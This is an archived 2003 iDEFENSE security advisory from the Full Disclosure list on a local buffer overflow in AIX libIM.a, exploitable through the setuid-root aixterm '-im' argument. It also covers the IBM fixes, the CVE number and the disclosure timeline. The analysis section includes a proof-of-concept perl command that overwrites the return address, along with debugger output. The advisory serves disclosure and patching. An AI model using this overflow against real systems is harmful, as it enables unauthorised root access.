Full Disclosure mailing list archives

iDEFENSE Security Advisory 02.12.03: Buffer Overflow in AIX libIM.a


From: "iDEFENSE Labs" <labs () idefense com>
Date: Wed, 12 Feb 2003 11:56:55 -0500

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

iDEFENSE Security Advisory 02.12.03:
http://www.idefense.com/advisory/02.12.03.txt
Buffer Overflow in AIX libIM.a
February 12, 2003

I. BACKGROUND

Advanced Interactive eXecutive (AIX) is IBM Corp.'s Unix operating system
implementation, native to pSeries and RS/6000 servers. More information is
available at http://www-1.ibm.com/servers/aix/ .

AIX provides support for National Language Support (NLS). From the AIX
manual available at
http://publib16.boulder.ibm.com/doc_link/en_US/a_doc_lib/aixprggd/nlsgdrf/n
at_lang_support.htm, "NLS provides commands and Standard C Library
subroutines for a single worldwide system base. An internationalized
system has no built-in assumptions or dependencies on language-specific or
cultural-specific conventions such as:

Code sets
Character classifications
Character comparison rules
Character collation order
Numeric and monetary formatting
Date and time formatting
Message-text language

All information pertaining to cultural conventions and language is
obtained at process run time."

libIM is a system library used by NLS on AIX.


II. DESCRIPTION

Locally exploiting a buffer overflow within libIM allows an attacker to
obtain the privileges of an application calling the library. The
"/usr/lpp/X11/bin/aixterm" binary calls the libIM library and is then
installed setuid root by default on AIX.

The "-im" command line argument used by aixterm causes the binary to crash
when filled with a string about 50 bytes in length. This allows an
attacker to gain control of the return address of the executing function,
thereby allowing code execution with root privileges.


III. ANALYSIS

Exploitation can provide local attackers with root access to an affected
system.

The following shows how the "-im" command line argument can be filled and
cause the crash of aixterm, giving the user control of the return address.
 We will write the value of 0x11223344 into the appropriate register:

$ ls -la /usr/lpp/X11/bin/aixterm
- -rwsr-xr-x   1 root     system    376384 Mar 18 2001 
/usr/lpp/X11/bin/aixterm*
$ cp -p /usr/lpp/X11/bin/aixterm test
$ ./test -im `perl -e'print"A"x47;print pack("l",0x11223344)'`
1363-009  aixterm: Cannot open font -dt-interface
user-medium-r-normal-l*-*-*-*-*-*-*-*-*.
        Check path name and permissions.
1363-009  aixterm: Cannot open font
- -*-roman-medium-r-normal--8-50-100-100-c-*-ISO8859-1.
        Check path name and permissions.
Illegal instruction (core dumped)
$ dbx ./test core
Type 'help' for help.
reading symbolic information ...warning: no source compiled with -g

[using memory image in core]
warning: Unable to access address 0x41414149 from core

Illegal instruction (reserved addressing fault) in . at 0x11223344 ($t1)
warning: Unable to access address 0x11223344 from core 0x11223344 (???)
warning: Unable to access address 
0x11223344 from core ffffffff   warning: Unable to access address
0x11223344 from core fnmadd.   
fr31,fr31,fr31,fr31 (dbx)


IV. DETECTION

Applications using libIM on AIX 4.3, 5.1 or 5.2 are affected.


V. VENDOR FIX/RESPONSE

A. E-fix
Temporary fixes for AIX 4.3.3, 5.1.0, and 5.2.0 systems are available.

The temporary fixes can be downloaded via ftp from:

     ftp://aix.software.ibm.com/aix/efixes/security/libIM_efix.tar.Z

The efix compressed tarball contains three fixes: one each for AIX 4.3.3,
AIX 5.1.0 and AIX 5.2.0. It also includes an advisory and a README file
with installation instructions.

B. Official Fix
IBM will provide the following fixes:

      APAR number for AIX 4.3.3: IY40307
      APAR number for AIX 5.1.0: IY40317
      APAR number for AIX 5.2.0: IY40320

NOTE: Fixes will not be provided for versions prior to 4.3 as these are no
longer supported by IBM. Affected customers are urged to upgrade to 4.3.3
or 5.1.0 at the latest maintenance level.


VI. CVE INFORMATION

The Mitre Corp.'s Common Vulnerabilities and Exposures (CVE) Project has
assigned the identification number CAN-2002-0087 to this issue.


VII. DISCLOSURE TIMELINE

10/31/2002      Issue disclosed to iDEFENSE
01/28/2003      IBM notifed (security-alert () austin ibm com)
01/29/2003      Response received from Shiva Persaud (shivapd () us ibm com)
02/11/2003      iDEFENSE clients notified
02/12/2003      Coordinated Public Disclosure


VIII. CREDIT

Euan Briggs (euan_briggs () btinternet com) discovered this vulnerability.


Get paid for security research
http://www.idefense.com/contributor.html

Subscribe to iDEFENSE Advisories:
send email to listserv () idefense com, subject line: "subscribe"


About iDEFENSE:

iDEFENSE is a global security intelligence company that proactively
monitors sources throughout the world — from technical
vulnerabilities and hacker profiling to the global spread of viruses
and other malicious code. Our security intelligence services provide 
decision-makers, frontline security professionals and network 
administrators with timely access to actionable intelligence
and decision support on cyber-related threats. For more information,
visit http://www.idefense.com .

-----BEGIN PGP SIGNATURE-----
Version: PGP 8.0

iQA/AwUBPkp3VPrkky7kqW5PEQL7CACg1TTEskXnfyyd1zuCUS5vn44UJvUAn1Wb
xTI+LhN/KNFB6pDVVwlWung4
=WDPV
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


Current thread: